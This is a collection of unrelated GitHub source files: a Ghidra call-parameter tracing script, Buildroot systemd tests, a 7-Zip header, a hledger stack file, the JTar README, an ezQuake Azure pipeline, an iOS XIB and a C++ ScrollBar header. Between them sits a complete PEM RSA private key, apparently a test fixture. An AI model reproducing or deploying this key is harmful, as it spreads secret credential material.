target_call_addr = pcodeOpAST.getInput(0).getAddress()
self.logger.debug("target_call_addr: {}".format(target_call_addr))
elif opcode == PcodeOp.CALLIND:
target_call_addr = FlowNode(pcodeOpAST.getInput(0)).get_value()
self.logger.debug("target_call_addr: {}".format(target_call_addr))
inputs = pcodeOpAST.getInputs()
for i in range(len(inputs))[1:]:
parm = inputs[i]
self.logger.debug("parm{}: {}".format(i, parm))
parm_node = FlowNode(parm)
parm_value = parm_node.get_value()
if isinstance(parm_value, GenericAddress):
parm_value = parm_value.offset
parms[i] = parm_value
if parm_value:
self.logger.debug("parm{} value: {}".format(i, hex(parm_value)))
return parms
return
def get_call_parm_value(self, call_address):
parms_value = {}
if not call_address in self.call_pcodes:
return
parms = self.analyze_call_parms(call_address)
if not parms:
return
for i in parms:
self.logger.debug("parms{}: {}".format(i, parms[i]))
parm_value = parms[i]
self.logger.debug("parm_value: {}".format(parm_value))
parm_data = None
if parm_value:
if is_address_in_current_program(toAddr(parm_value)):
if getDataAt(toAddr(parm_value)):
parm_data = getDataAt(toAddr(parm_value))
elif getInstructionAt(toAddr(parm_value)):
parm_data = getFunctionAt(toAddr(parm_value))
parms_value["parm_{}".format(i)] = {'parm_value': parm_value,
'parm_data': parm_data
}
return parms_value
def dump_call_parm_value(call_address, search_functions=None):
"""
:param call_address:
:param search_functions: function name list to search
:return:
"""
target_function = getFunctionAt(call_address)
parms_data = {}
if target_function:
target_references = getReferencesTo(target_function.getEntryPoint())
for target_reference in target_references:
# Filter reference type
reference_type = target_reference.getReferenceType()
logger.debug("reference_type: {}".format(reference_type))
logger.debug("isJump: {}".format(reference_type.isJump()))
logger.debug("isCall: {}".format(reference_type.isCall()))
if not reference_type.isCall():
logger.debug("skip!")
continue
call_addr = target_reference.getFromAddress()
logger.debug("call_addr: {}".format(call_addr))
function = getFunctionContaining(call_addr)
logger.debug("function: {}".format(function))
if not function:
continue
# search only targeted function
if search_functions:
if function.name not in search_functions:
continue
function_address = function.getEntryPoint()
if function_address in decompile_function_cache:
target = decompile_function_cache[function_address]
else:
target = FunctionAnalyzer(function=function)
decompile_function_cache[function_address] = target
parms_data[call_addr] = {
'call_addr': call_addr,
'refrence_function_addr': function.getEntryPoint(),
'refrence_function_name': function.name,
'parms': {}
}
parms_value = target.get_call_parm_value(call_address=call_addr)
if not parms_value:
continue
trace_data = parms_data[call_addr]
trace_data['parms'] = parms_value
return parms_data
if __name__ == '__main__':
# search_functions = ['FUN_8003028c']
search_functions = None
function_address = askLong("Input function address to trace", "Please input the function address")
target_function = getFunctionAt(toAddr(function_address))
if target_function:
print("target_function: {}".format(target_function))
parms_data = dump_call_parm_value(toAddr(function_address))
# print("parms: {}".format(parms))
for call_addr in parms_data:
call_parms = parms_data[call_addr]
parm_data_string = ""
for parm in sorted(call_parms['parms'].keys()):
parm_value = call_parms['parms'][parm]['parm_value']
parm_data = call_parms['parms'][parm]['parm_data']
# print("parm_data: {} type:{}".format(parm_data, type(parm_data)))
# print("parm_value: {} type:{}".format(parm_value, type(parm_value)))
if parm_value:
parm_data_string += "{}({:#010x}), ".format(parm_data, parm_value)
else:
# Handle None type
parm_data_string += "{}({}), ".format(parm_data, parm_value)
# remove end ', '
parm_data_string = parm_data_string.strip(', ')
# print("parm_data_string: {}".format(parm_data_string))
print("{}({}) at {:#010x} in {}({:#010x})".format(target_function.name, parm_data_string,
call_parms['call_addr'].offset,
call_parms['refrence_function_name'],
call_parms['refrence_function_addr'].offset
))
else:
print("Can't find function at address: {:#010x}".format(function_address))
|
{
"pile_set_name": "Github"
}
|
import infra.basetest
from tests.init.base import InitSystemBase as InitSystemBase
class InitSystemSystemdBase(InitSystemBase):
config = \
"""
BR2_arm=y
BR2_TOOLCHAIN_EXTERNAL=y
BR2_INIT_SYSTEMD=y
BR2_TARGET_GENERIC_GETTY_PORT="ttyAMA0"
BR2_LINUX_KERNEL=y
BR2_LINUX_KERNEL_CUSTOM_VERSION=y
BR2_LINUX_KERNEL_CUSTOM_VERSION_VALUE="4.11.3"
BR2_LINUX_KERNEL_DEFCONFIG="vexpress"
BR2_LINUX_KERNEL_CONFIG_FRAGMENT_FILES="{}"
BR2_LINUX_KERNEL_DTS_SUPPORT=y
BR2_LINUX_KERNEL_INTREE_DTS_NAME="vexpress-v2p-ca9"
# BR2_TARGET_ROOTFS_TAR is not set
""".format(infra.filepath("conf/binfmt-misc-kernel-fragment.config"))
def check_init(self):
super(InitSystemSystemdBase, self).check_init("/lib/systemd/systemd")
# Test all units are OK
output, _ = self.emulator.run("systemctl --no-pager --failed --no-legend")
self.assertEqual(len(output), 0)
# Test we can reach the DBus daemon
_, exit_code = self.emulator.run("busctl --no-pager")
self.assertEqual(exit_code, 0)
# Test we can read at least one line from the journal
output, _ = self.emulator.run("journalctl --no-pager --lines 1 --quiet")
self.assertEqual(len(output), 1)
class TestInitSystemSystemdRoNetworkd(InitSystemSystemdBase):
config = InitSystemSystemdBase.config + \
"""
BR2_SYSTEM_DHCP="eth0"
# BR2_TARGET_GENERIC_REMOUNT_ROOTFS_RW is not set
BR2_ROOTFS_OVERLAY="{}"
BR2_TARGET_ROOTFS_SQUASHFS=y
""".format(infra.filepath("tests/init/systemd-factory"))
def test_run(self):
self.start_emulator("squashfs", "zImage", "vexpress-v2p-ca9")
self.check_init()
self.check_network("eth0")
# This one must be executed on the target, to check that
# the factory feature works as expected
out, exit_code = self.emulator.run("cat /var/foo/bar")
self.assertEqual(exit_code, 0)
self.assertEqual(out[0], "foobar")
class TestInitSystemSystemdRwNetworkd(InitSystemSystemdBase):
config = InitSystemSystemdBase.config + \
"""
BR2_SYSTEM_DHCP="eth0"
BR2_TARGET_ROOTFS_EXT2=y
"""
def test_run(self):
self.start_emulator("ext2", "zImage", "vexpress-v2p-ca9")
self.check_init()
self.check_network("eth0")
class TestInitSystemSystemdRoIfupdown(InitSystemSystemdBase):
config = InitSystemSystemdBase.config + \
"""
BR2_SYSTEM_DHCP="eth0"
# BR2_PACKAGE_SYSTEMD_NETWORKD is not set
# BR2_TARGET_GENERIC_REMOUNT_ROOTFS_RW is not set
BR2_TARGET_ROOTFS_SQUASHFS=y
"""
def test_run(self):
self.start_emulator("squashfs", "zImage", "vexpress-v2p-ca9")
self.check_init()
self.check_network("eth0")
class TestInitSystemSystemdRwIfupdown(InitSystemSystemdBase):
config = InitSystemSystemdBase.config + \
"""
BR2_SYSTEM_DHCP="eth0"
# BR2_PACKAGE_SYSTEMD_NETWORKD is not set
# BR2_TARGET_GENERIC_REMOUNT_ROOTFS_RW is not set
BR2_TARGET_ROOTFS_EXT2=y
"""
def test_run(self):
self.start_emulator("ext2", "zImage", "vexpress-v2p-ca9")
self.check_init()
self.check_network("eth0")
class TestInitSystemSystemdRoFull(InitSystemSystemdBase):
config = InitSystemSystemdBase.config + \
"""
BR2_SYSTEM_DHCP="eth0"
# BR2_TARGET_GENERIC_REMOUNT_ROOTFS_RW is not set
BR2_PACKAGE_SYSTEMD_JOURNAL_GATEWAY=y
BR2_PACKAGE_SYSTEMD_BACKLIGHT=y
BR2_PACKAGE_SYSTEMD_BINFMT=y
BR2_PACKAGE_SYSTEMD_COREDUMP=y
BR2_PACKAGE_SYSTEMD_FIRSTBOOT=y
BR2_PACKAGE_SYSTEMD_HIBERNATE=y
BR2_PACKAGE_SYSTEMD_IMPORTD=y
BR2_PACKAGE_SYSTEMD_LOCALED=y
BR2_PACKAGE_SYSTEMD_LOGIND=y
BR2_PACKAGE_SYSTEMD_MACHINED=y
BR2_PACKAGE_SYSTEMD_POLKIT=y
BR2_PACKAGE_SYSTEMD_QUOTACHECK=y
BR2_PACKAGE_SYSTEMD_RANDOMSEED=y
BR2_PACKAGE_SYSTEMD_RFKILL=y
BR2_PACKAGE_SYSTEMD_SMACK_SUPPORT=y
BR2_PACKAGE_SYSTEMD_SYSUSERS=y
BR2_PACKAGE_SYSTEMD_VCONSOLE=y
BR2_TARGET_ROOTFS_SQUASHFS=y
"""
def test_run(self):
self.start_emulator("squashfs", "zImage", "vexpress-v2p-ca9")
self.check_init()
self.check_network("eth0")
class TestInitSystemSystemdRwFull(InitSystemSystemdBase):
config = InitSystemSystemdBase.config + \
"""
BR2_SYSTEM_DHCP="eth0"
BR2_PACKAGE_SYSTEMD_JOURNAL_GATEWAY=y
BR2_PACKAGE_SYSTEMD_BACKLIGHT=y
BR2_PACKAGE_SYSTEMD_BINFMT=y
BR2_PACKAGE_SYSTEMD_COREDUMP=y
BR2_PACKAGE_SYSTEMD_FIRSTBOOT=y
BR2_PACKAGE_SYSTEMD_HIBERNATE=y
BR2_PACKAGE_SYSTEMD_IMPORTD=y
BR2_PACKAGE_SYSTEMD_LOCALED=y
BR2_PACKAGE_SYSTEMD_LOGIND=y
BR2_PACKAGE_SYSTEMD_MACHINED=y
BR2_PACKAGE_SYSTEMD_POLKIT=y
BR2_PACKAGE_SYSTEMD_QUOTACHECK=y
BR2_PACKAGE_SYSTEMD_RANDOMSEED=y
BR2_PACKAGE_SYSTEMD_RFKILL=y
BR2_PACKAGE_SYSTEMD_SMACK_SUPPORT=y
BR2_PACKAGE_SYSTEMD_SYSUSERS=y
BR2_PACKAGE_SYSTEMD_VCONSOLE=y
BR2_TARGET_ROOTFS_EXT2=y
"""
def test_run(self):
self.start_emulator("ext2", "zImage", "vexpress-v2p-ca9")
self.check_init()
self.check_network("eth0")
|
{
"pile_set_name": "Github"
}
|
/* 7zIn.h */
#ifndef __7Z_IN_H
#define __7Z_IN_H
#include "7zHeader.h"
#include "7zItem.h"
#include "7zAlloc.h"
typedef struct _CInArchiveInfo
{
CFileSize StartPositionAfterHeader;
CFileSize DataStartPosition;
}CInArchiveInfo;
typedef struct _CArchiveDatabaseEx
{
CArchiveDatabase Database;
CInArchiveInfo ArchiveInfo;
UInt32 *FolderStartPackStreamIndex;
CFileSize *PackStreamStartPositions;
UInt32 *FolderStartFileIndex;
UInt32 *FileIndexToFolderIndexMap;
}CArchiveDatabaseEx;
void SzArDbExInit(CArchiveDatabaseEx *db);
void SzArDbExFree(CArchiveDatabaseEx *db, void (*freeFunc)(void *));
CFileSize SzArDbGetFolderStreamPos(CArchiveDatabaseEx *db, UInt32 folderIndex, UInt32 indexInFolder);
CFileSize SzArDbGetFolderFullPackSize(CArchiveDatabaseEx *db, UInt32 folderIndex);
typedef struct _ISzInStream
{
#ifdef _LZMA_IN_CB
SZ_RESULT (*Read)(
void *object, /* pointer to ISzInStream itself */
void **buffer, /* out: pointer to buffer with data */
size_t maxRequiredSize, /* max required size to read */
size_t *processedSize); /* real processed size.
processedSize can be less than maxRequiredSize.
If processedSize == 0, then there are no more
bytes in stream. */
#else
SZ_RESULT (*Read)(void *object, void *buffer, size_t size, size_t *processedSize);
#endif
SZ_RESULT (*Seek)(void *object, CFileSize pos);
} ISzInStream;
int SzArchiveOpen(
ISzInStream *inStream,
CArchiveDatabaseEx *db,
ISzAlloc *allocMain,
ISzAlloc *allocTemp);
#endif
|
{
"pile_set_name": "Github"
}
|
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAwquL6gtPR7P9xJK76FTj8fI5TSJa3cAMt1p6CmessjHQq7nQ
6DWLGVi4XIt9Sc/1C3rXupOe90Ok4L0tsuVZH78Wn0EBmBH7S4IbhU9P+aJ9mcig
epj1lnxWqoVblgeJYKMOOwAfpAKUNMWDSm+nCfwE+R5d8d8cfA41Awq1jTRjOVpi
Jq6aoKfs791a1ZkZde3kFrNVAVjC06GgA1lZd3sHf94hmLeC+xJztRXVE9e+7dcc
7nFDH0t5DIKYBAklsHg77mZa3IK4aOZew7Lm6diPoMnAzXh2rWpJU6RrEE29gIkJ
BsF8CL1Ndg9MzssCg6KBjoaiVt5dJ+4TSEGCOwIDAQABAoIBABECKAFU56JeKYfp
Qh20fQ4Amd0RaVsCkpnaf9s037PaAl9eptADDZozVDhRv6qZTtGn8/1LNJJqCJfS
L5H30+egLHvRlDATMh+QyJLHMTegaNTs4IiVoK97QZ84c54SHoCg/ndNNXaA+y35
K9VvF+sZZ93UN2UQl06Hdz5Cy0YA7L5HIIH3Ezk0ArAw4AarLil5mv4yEz2ApZhm
Tw4I4yNfxB7tZeP+ekNg0XXRL1quA0tGblp+A5fAFfVMDplqqB2d3/KxPR9FSEOi
4PzBZ5Mq2wQBPIaNog5um9qkw6VKxjl5sQGhP1GGTA8iZqR9iM2+xh57xdCZm3g3
jcr+aPECgYEA42mXTsF/4oBQtU6hh/sOCMWHhxAPstKpQHFMKGYLHKEJ/V1qq0Sd
d0kswAYCmH5G9ookzu5p7pNf0hUUHO5EwelpSZ3FEmtIM+oBwSnDk3vGuadYXN5X
fPuVUla65B1F9SSwapYNBUAiRgrY69Knca2rkTSdcZQaBuWmo684UQcCgYEA2yRE
P23I/9N6AVhKB/zTRtil1AxnTW8o+j7AE4q1o+xly7DS7DT34INaLKLiuG6ylV1F
UoTiqmWqH3A7m3o3Id2AnVf/oDoKV78LCXRF3dJJWvzrPdob2fLlwyjgqXYvmD3O
UH/OFY2blYcAHOYib1Y1AAhHPlXiHA52BYZtnC0CgYAVjjitWmII0ijURrPA8+cM
pcyG3NrgFF++n/6cBbAf8pPD1Er8GPDkEaeQPAGa+r03OTjr9GVOG+IFQ8I4S81w
o/M66x129XxOj2vDJ3ZGUIExr88MXnbkfeRVfasRXET5S5T9RWPOj5mwEe8lyz3b
5J5SkS4rSeJ9rN7yvPUVmQKBgAvrrB67LRzldxSNpfFLSn7nGBYx2oi2zEbYlQA7
ImhZWqw64S5iLz2yR3x4G9cmhmZjnXrAqcfVIez14PgzLL6V2wI0ID6qCZf+V25b
OdW4M69UZMOHks5HTUJRfe8Z87rXWdq9KQu5GUaIAnSP/D2MNfPbf2yfpV4bV0Yz
qtC9AoGAD3/XXaeGCdV5DPomEmehp84JXU2q/YECRvph46tr4jArG67PCvx2m84B
+W6my4Yi7QJcW4gC0gsdAuxbJl4Y7MCZBnTtNIRCRnHEIciKITJ/+brFln5QUgyn
WnXEPN8q7VjSVXGrljFuLWkzi2Vh8iZDgourNfW+iYDGCJjx1H0=
-----END RSA PRIVATE KEY-----
|
{
"pile_set_name": "Github"
}
|
# 201909: disabled due to hassles with MonadFail in JournalReader.hs.
# Feel free to work on this if you still need GHC 7 support.
# stack build plan using GHC 7.10.3
# This is unlikely to work on OSX Sierra+ due to https://ghc.haskell.org/trac/ghc/ticket/12479
resolver: lts-6.35
packages:
- hledger-lib
- hledger
# 20181024: hledger-ui plan has stopped working due to some change related to config-ini
# (we need megaparsec 7, only config-ini's 0.2.3.0 version allows that, but it requires a newer base/GHC).
#- hledger-ui
- hledger-web
extra-deps:
# avoid no hashable instance for AccountName from doctests
- hashtables-1.2.3.1
# Many newer versions to allow using the latest base-compat with all ghc versions.
# This is just the first workable install plan I found.
- adjunctions-4.4
- aeson-1.3.1.1
- aeson-compat-0.3.7.1
- attoparsec-0.13.2.2
- attoparsec-iso8601-1.0.0.0
- base-compat-0.10.1
- base-compat-batteries-0.10.1
- base-orphans-0.7
- bifunctors-5.5.2
- brick-0.37.1
- cassava-megaparsec-2.0.0
- config-ini-0.2.3.0
- criterion-1.4.1.0
- data-clist-0.1.2.1
- directory-1.2.7.0
- doctest-0.16.0
- exceptions-0.10.0
- extra-1.6.17
- fgl-5.5.4.0
- free-5.0.2
- generics-sop-0.3.2.0
- Glob-0.9.2
- hashable-1.2.7.0
- http-media-0.7.1.2
- http-types-0.12.1
- insert-ordered-containers-0.2.1.0
- integer-logarithms-1.0.2.1
- kan-extensions-5.1
- lens-4.16.1
- math-functions-0.2.1.0
- megaparsec-7.0.1
- microstache-1.0.1.1
- mmorph-1.1.2
- monad-control-1.0.2.3
- network-2.6.3.5
- optparse-applicative-0.14.2.0
- parser-combinators-1.0.0
- persistent-2.7.0
- persistent-template-2.5.4
- process-1.2.3.0
- profunctors-5.2.2
- resourcet-1.1.11
- scientific-0.3.6.2
- semigroupoids-5.2.2
- semigroups-0.18.4
- singleton-bool-0.1.4
- statistics-0.14.0.2
- tagged-0.8.5
- text-1.2.3.0
- text-zipper-0.10.1
- th-abstraction-0.2.6.0
- transformers-compat-0.6.1.4
- unliftio-core-0.1.1.0
- unordered-containers-0.2.9.0
- vty-5.21
- word-wrap-0.4.1
- yesod-persistent-1.4.2
# hledger-ui
# newer fsnotify has a different api and may be more robust
- fsnotify-0.3.0.1
- shelly-1.7.2
|
{
"pile_set_name": "Github"
}
|
# Overview
JTar is a simple Java Tar library, that provides an easy way to create and read tar files using IO streams. The API is very simple to use and similar to the _java.util.zip_ package and also __supports UStar format__.
[](https://travis-ci.org/kamranzafar/jtar)
## Usage
JTar is available in maven central and can be added as a dependency in the maven project.
<pre><code> <dependency>
<groupId>org.kamranzafar</groupId>
<artifactId>jtar</artifactId>
<version>2.3</version>
</dependency>
</code></pre>
Below are some examples of using jtar in applications
### Tar example - using TarOutputStream
<pre><code> // Output file stream
FileOutputStream dest = new FileOutputStream( "c:/test/test.tar" );
// Create a TarOutputStream
TarOutputStream out = new TarOutputStream( new BufferedOutputStream( dest ) );
// Files to tar
File[] filesToTar=new File[2];
filesToTar[0]=new File("c:/test/myfile1.txt");
filesToTar[1]=new File("c:/test/myfile2.txt");
for(File f:filesToTar){
out.putNextEntry(new TarEntry(f, f.getName()));
BufferedInputStream origin = new BufferedInputStream(new FileInputStream( f ));
int count;
byte data[] = new byte[2048];
while((count = origin.read(data)) != -1) {
out.write(data, 0, count);
}
out.flush();
origin.close();
}
out.close();
</code></pre>
### Untar example - using TarInputStream
<pre><code> String tarFile = "c:/test/test.tar";
String destFolder = "c:/test/myfiles";
// Create a TarInputStream
TarInputStream tis = new TarInputStream(new BufferedInputStream(new FileInputStream(tarFile)));
TarEntry entry;
while((entry = tis.getNextEntry()) != null) {
int count;
byte data[] = new byte[2048];
FileOutputStream fos = new FileOutputStream(destFolder + "/" + entry.getName());
BufferedOutputStream dest = new BufferedOutputStream(fos);
while((count = tis.read(data)) != -1) {
dest.write(data, 0, count);
}
dest.flush();
dest.close();
}
tis.close();
</code></pre>
___Tip: Always use buffered streams with jtar to speed up IO.___
## Examples and resources
* See [JTarTest](https://github.com/kamranzafar/jtar/blob/master/src/test/java/org/kamranzafar/jtar/JTarTest.java) class, provided with the source, for more detailed examples.
* Visit the wiki page for more details on [Tar format](http://en.wikipedia.org/wiki/Tar_%28file_format%29)
__JTar is available in [Maven Central](http://search.maven.org/#search%7Cga%7C1%7Cg%3A%22org.kamranzafar%22%20a%3A%22jtar%22)__
|
{
"pile_set_name": "Github"
}
|
# C/C++ with GCC
# Build your C/C++ project with GCC using make.
# Add steps that publish test results, save build artifacts, deploy, and more:
# https://docs.microsoft.com/azure/devops/pipelines/apps/c-cpp/gcc
# at pipeline level, set 'ezquake.githubconnection' & 'ezquake.githubreponame' variables
strategy:
matrix:
linux:
imageName: 'ubuntu-latest'
mac:
imageName: 'macos-latest'
#windows:
# imageName: 'windows-latest'
trigger:
- master
pool:
vmImage: $(imageName)
steps:
- script: |
sudo apt-get -y update
sudo apt install git build-essential mingw-w64 libsdl2-2.0-0 libsdl2-dev libjansson-dev libexpat1-dev libcurl4-openssl-dev libpng-dev libjpeg-dev libspeex-dev libspeexdsp-dev
make && make strip
tar -cvzf ezquake-latest-linux64.zip ezquake-*-* LICENSE
make clean
EZ_CONFIG_FILE=.config_windows make
EZ_CONFIG_FILE=.config_windows make strip
zip ezquake-latest-win32.zip ezquake.exe LICENSE release-notes.md
displayName: 'make (linux/win32)'
condition: eq( variables['Agent.OS'], 'Linux' )
- script: |
brew update
brew install pkgconfig pcre sdl2 sdl2_net sdl2_image sdl2_gfx sdl2_mixer jansson speex speexdsp
make && make strip
sh ./misc/install/create_osx_bundle.sh
mv ezquake.zip ezquake-latest-osx.zip
displayName: 'make (osx)'
condition: eq( variables['Agent.OS'], 'Darwin' )
- task: CopyFiles@2
inputs:
contents: ezquake-latest-*.zip
targetFolder: $(Build.ArtifactStagingDirectory)/distributableBinaries/
- task: CopyFiles@2
inputs:
contents: release-notes.md
targetFolder: $(Build.ArtifactStagingDirectory)/distributableBinaries/
- task: PublishBuildArtifacts@1
inputs:
pathtoPublish: '$(Build.ArtifactStagingDirectory)/distributableBinaries/'
artifactName: 'latest-build'
- task: GitHubRelease@0
displayName: 'Edit GitHub Release'
inputs:
gitHubConnection: '$(ezquake.githubconnection)'
repositoryName: '$(ezquake.githubreponame)'
action: edit
tag: latest
assets: $(Build.ArtifactStagingDirectory)/distributableBinaries/*
isPreRelease: true
assetUploadMode: replace
addChangeLog: false
releaseNotesFile: 'release-notes.md'
|
{
"pile_set_name": "Github"
}
|
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<document type="com.apple.InterfaceBuilder3.CocoaTouch.XIB" version="3.0" toolsVersion="7706" systemVersion="14D136" targetRuntime="iOS.CocoaTouch" propertyAccessControl="none" useAutolayout="YES" useTraitCollections="YES">
<dependencies>
<deployment identifier="iOS"/>
<plugIn identifier="com.apple.InterfaceBuilder.IBCocoaTouchPlugin" version="7703"/>
<capability name="Aspect ratio constraints" minToolsVersion="5.1"/>
</dependencies>
<objects>
<placeholder placeholderIdentifier="IBFilesOwner" id="-1" userLabel="File's Owner" customClass="Test15VC">
<connections>
<outlet property="view" destination="iN0-l3-epB" id="MXW-mF-1gZ"/>
<outletCollection property="imgVs" destination="M4h-K1-uyI" id="bv1-Em-uSE"/>
<outletCollection property="imgVs" destination="LJy-iS-iQT" id="ayp-LT-x7C"/>
<outletCollection property="imgVs" destination="c2u-XK-Ulu" id="Nfx-SI-Txy"/>
</connections>
</placeholder>
<placeholder placeholderIdentifier="IBFirstResponder" id="-2" customClass="UIResponder"/>
<view contentMode="scaleToFill" id="iN0-l3-epB">
<rect key="frame" x="0.0" y="0.0" width="600" height="600"/>
<autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/>
<subviews>
<imageView clipsSubviews="YES" userInteractionEnabled="NO" contentMode="scaleAspectFill" horizontalHuggingPriority="251" verticalHuggingPriority="251" translatesAutoresizingMaskIntoConstraints="NO" id="M4h-K1-uyI">
<rect key="frame" x="80" y="80" width="440" height="147"/>
<constraints>
<constraint firstAttribute="width" secondItem="M4h-K1-uyI" secondAttribute="height" multiplier="300:100" id="25y-sp-8xt"/>
</constraints>
</imageView>
<imageView clipsSubviews="YES" userInteractionEnabled="NO" contentMode="scaleAspectFill" horizontalHuggingPriority="251" verticalHuggingPriority="251" translatesAutoresizingMaskIntoConstraints="NO" id="c2u-XK-Ulu">
<rect key="frame" x="80" y="413" width="440" height="147"/>
</imageView>
<button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="center" contentVerticalAlignment="center" buttonType="roundedRect" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="vmj-5x-yJz">
<rect key="frame" x="190" y="510" width="60" height="30"/>
<color key="backgroundColor" red="1" green="0.52549019610000003" blue="0.32156862749999998" alpha="1" colorSpace="calibratedRGB"/>
<constraints>
<constraint firstAttribute="width" constant="60" id="UiG-4m-zpT"/>
</constraints>
<state key="normal" title="保存">
<color key="titleColor" white="1" alpha="1" colorSpace="calibratedWhite"/>
<color key="titleShadowColor" white="0.5" alpha="1" colorSpace="calibratedWhite"/>
</state>
<connections>
<action selector="saveAction:" destination="-1" eventType="touchUpInside" id="BlW-ZE-ANG"/>
</connections>
</button>
<button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="center" contentVerticalAlignment="center" buttonType="roundedRect" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="kVK-lW-px0">
<rect key="frame" x="350" y="510" width="60" height="30"/>
<color key="backgroundColor" red="1" green="0.52549019610000003" blue="0.32156862749999998" alpha="1" colorSpace="calibratedRGB"/>
<state key="normal" title="读取">
<color key="titleColor" white="1" alpha="1" colorSpace="calibratedWhite"/>
<color key="titleShadowColor" white="0.5" alpha="1" colorSpace="calibratedWhite"/>
</state>
<connections>
<action selector="readAction:" destination="-1" eventType="touchUpInside" id="KLm-nw-C1d"/>
</connections>
</button>
<imageView clipsSubviews="YES" userInteractionEnabled="NO" contentMode="scaleAspectFill" horizontalHuggingPriority="251" verticalHuggingPriority="251" translatesAutoresizingMaskIntoConstraints="NO" id="LJy-iS-iQT">
<rect key="frame" x="80" y="247" width="440" height="146"/>
</imageView>
</subviews>
<color key="backgroundColor" white="1" alpha="1" colorSpace="custom" customColorSpace="calibratedWhite"/>
<constraints>
<constraint firstItem="LJy-iS-iQT" firstAttribute="leading" secondItem="c2u-XK-Ulu" secondAttribute="leading" id="2It-t5-P76"/>
<constraint firstItem="LJy-iS-iQT" firstAttribute="top" secondItem="M4h-K1-uyI" secondAttribute="bottom" constant="20" id="K8N-xi-H0X"/>
<constraint firstItem="kVK-lW-px0" firstAttribute="width" secondItem="vmj-5x-yJz" secondAttribute="width" id="Lz8-aU-Ins"/>
<constraint firstAttribute="trailing" secondItem="M4h-K1-uyI" secondAttribute="trailing" constant="80" id="NKG-fm-kMb"/>
<constraint firstAttribute="bottom" secondItem="vmj-5x-yJz" secondAttribute="bottom" constant="60" id="P61-sI-q1L"/>
<constraint firstItem="c2u-XK-Ulu" firstAttribute="top" secondItem="LJy-iS-iQT" secondAttribute="bottom" constant="20" id="PmE-vX-ghL"/>
<constraint firstItem="M4h-K1-uyI" firstAttribute="top" secondItem="iN0-l3-epB" secondAttribute="top" constant="80" id="RWw-3A-Gok"/>
<constraint firstItem="LJy-iS-iQT" firstAttribute="trailing" secondItem="M4h-K1-uyI" secondAttribute="trailing" id="Rkj-1j-A9u"/>
<constraint firstItem="LJy-iS-iQT" firstAttribute="leading" secondItem="M4h-K1-uyI" secondAttribute="leading" id="Vvg-T7-McI"/>
<constraint firstItem="kVK-lW-px0" firstAttribute="bottom" secondItem="vmj-5x-yJz" secondAttribute="bottom" id="Yly-HJ-Qxq"/>
<constraint firstAttribute="centerX" secondItem="kVK-lW-px0" secondAttribute="centerX" constant="-80" id="fbX-Es-HbN"/>
<constraint firstItem="LJy-iS-iQT" firstAttribute="height" secondItem="c2u-XK-Ulu" secondAttribute="height" id="iNJ-cy-aJy"/>
<constraint firstItem="M4h-K1-uyI" firstAttribute="leading" secondItem="iN0-l3-epB" secondAttribute="leading" constant="80" id="mR0-uS-e74"/>
<constraint firstItem="LJy-iS-iQT" firstAttribute="trailing" secondItem="c2u-XK-Ulu" secondAttribute="trailing" id="vRb-e8-j9f"/>
<constraint firstItem="LJy-iS-iQT" firstAttribute="height" secondItem="M4h-K1-uyI" secondAttribute="height" id="wM6-VO-q8D"/>
<constraint firstAttribute="centerX" secondItem="vmj-5x-yJz" secondAttribute="centerX" constant="80" id="yE2-lu-SmG"/>
</constraints>
<point key="canvasLocation" x="440" y="432"/>
</view>
</objects>
</document>
|
{
"pile_set_name": "Github"
}
|
#ifndef UI_CONTROL_SCROLLBAR_H_
#define UI_CONTROL_SCROLLBAR_H_
#pragma once
namespace ui
{
class UILIB_API ScrollBar : public Control
{
public:
ScrollBar();
Box* GetOwner() const;
void SetOwner(ScrollableBox* pOwner);
virtual void SetEnabled(bool bEnable = true) override;
virtual void SetFocus() override;
virtual void SetVisible_(bool bVisible) override;
virtual bool ButtonUp(EventArgs& msg) override;
virtual bool MouseEnter(EventArgs& msg) override;
virtual bool MouseLeave(EventArgs& msg) override;
virtual void SetPos(UiRect rc) override;
virtual void HandleMessage(EventArgs& event) override;
virtual void SetAttribute(const std::wstring& strName, const std::wstring& strValue) override;
virtual void Paint(IRenderContext* pRender, const UiRect& rcPaint) override;
void PaintBk(IRenderContext* pRender);
void PaintButton1(IRenderContext* pRender);
void PaintButton2(IRenderContext* pRender);
void PaintThumb(IRenderContext* pRender);
void PaintRail(IRenderContext* pRender);
bool IsHorizontal();
void SetHorizontal(bool bHorizontal = true);
int GetScrollRange() const;
void SetScrollRange(int nRange);
bool IsValid() { return GetScrollRange() != 0; }
int GetScrollPos() const;
void SetScrollPos(int nPos);
int GetLineSize() const;
void SetLineSize(int nSize);
int GetThumbMinLength() const;
void SetThumbMinLength(int nThumbMinLength);
bool IsShowButton1();
void SetShowButton1(bool bShow);
std::wstring GetButton1StateImage(ControlStateType stateType);
void SetButton1StateImage(ControlStateType stateType, const std::wstring& pStrImage);
bool IsShowButton2();
void SetShowButton2(bool bShow);
std::wstring GetButton2StateImage(ControlStateType stateType);
void SetButton2StateImage(ControlStateType stateType, const std::wstring& pStrImage);
std::wstring GetThumbStateImage(ControlStateType stateType);
void SetThumbStateImage(ControlStateType stateType, const std::wstring& pStrImage);
std::wstring GetRailStateImage(ControlStateType stateType);
void SetRailStateImage(ControlStateType stateType, const std::wstring& pStrImage);
std::wstring GetBkStateImage(ControlStateType stateType);
void SetBkStateImage(ControlStateType stateType, const std::wstring& pStrImage);
bool IsAutoHideScroll(){return m_bAutoHide;}
void SetAutoHideScroll(bool hide);
ControlStateType GetThumbState() { return m_uThumbState; }
virtual void ClearImageCache() override;
private:
void ScrollBar::ScrollTimeHandle();
protected:
enum
{
DEFAULT_SCROLLBAR_SIZE = 16,
};
bool m_bHorizontal;
bool m_bShowButton1;
bool m_bShowButton2;
bool m_bAutoHide;
int m_nRange;
int m_nScrollPos;
int m_nLineSize;
int m_nThumbMinLength;
int m_nLastScrollPos;
int m_nLastScrollOffset;
int m_nScrollRepeatDelay;
ScrollableBox* m_pOwner;
POINT m_ptLastMouse;
UiRect m_rcButton1;
UiRect m_rcButton2;
UiRect m_rcThumb;
ControlStateType m_uButton1State;
ControlStateType m_uButton2State;
ControlStateType m_uThumbState;
std::wstring m_sImageModify;
StateImage m_bkStateImage;
StateImage m_button1StateImage;
StateImage m_button2StateImage;
StateImage m_thumbStateImage;
